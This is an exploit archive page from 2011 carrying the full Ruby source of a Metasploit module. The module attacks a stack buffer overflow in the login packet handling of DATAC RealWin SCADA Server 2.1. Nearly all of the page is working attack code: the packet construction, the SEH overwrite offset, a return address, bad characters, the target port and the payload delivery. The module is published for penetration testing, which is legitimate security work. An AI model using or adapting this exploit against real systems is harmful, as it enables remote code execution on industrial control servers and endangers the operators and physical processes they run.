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RealWin SCADA Server DATAC Login Buffer Overflow

RealWin SCADA Server DATAC Login Buffer Overflow
Posted Jun 23, 2011
Authored by Luigi Auriemma, MC | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in DATAC Control International RealWin SCADA Server 2.1 (Build 6.0.10.10) or earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN packet containing a long username, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
SHA-256 | eefc2e2dd1a8e6e3d6bbd51968ba293d8582140300ddd65d9a563690a5bf114b

RealWin SCADA Server DATAC Login Buffer Overflow

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##
# $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'RealWin SCADA Server DATAC Login Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DATAC Control
International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
packet containing a long username, an attacker may be able to
execute arbitrary code.
},
'Author' =>
[
'Luigi Auriemma', #discovery
'MC',
'B|H <bh[AT]bufferattack.com>'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13007 $',
'References' =>
[
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
[ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal',
{
'Offset' => 392, # Offset to SEH
'Ret' => 0x40012540, # pop/pop/ret @FlexMLang.dll
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(910)], self.class)
end

def exploit
data = [0x67542310].pack('V')
data << [0x00000824].pack('V')
data << [0x00110011].pack('V')
data << "\x01\x00"
data << rand_text_alpha_upper(target['Offset'])
data << generate_seh_payload(target.ret)
data << rand_text_alpha_upper(17706 - payload.encoded.length)
data << [0x451c3500].pack('V')
data << [0x00000154].pack('V')
data << [0x00020040].pack('V')

connect
print_status("Trying target #{target.name}...")
sock.put(data)
select(nil,nil,nil,0.5)
handler
disconnect
end

end
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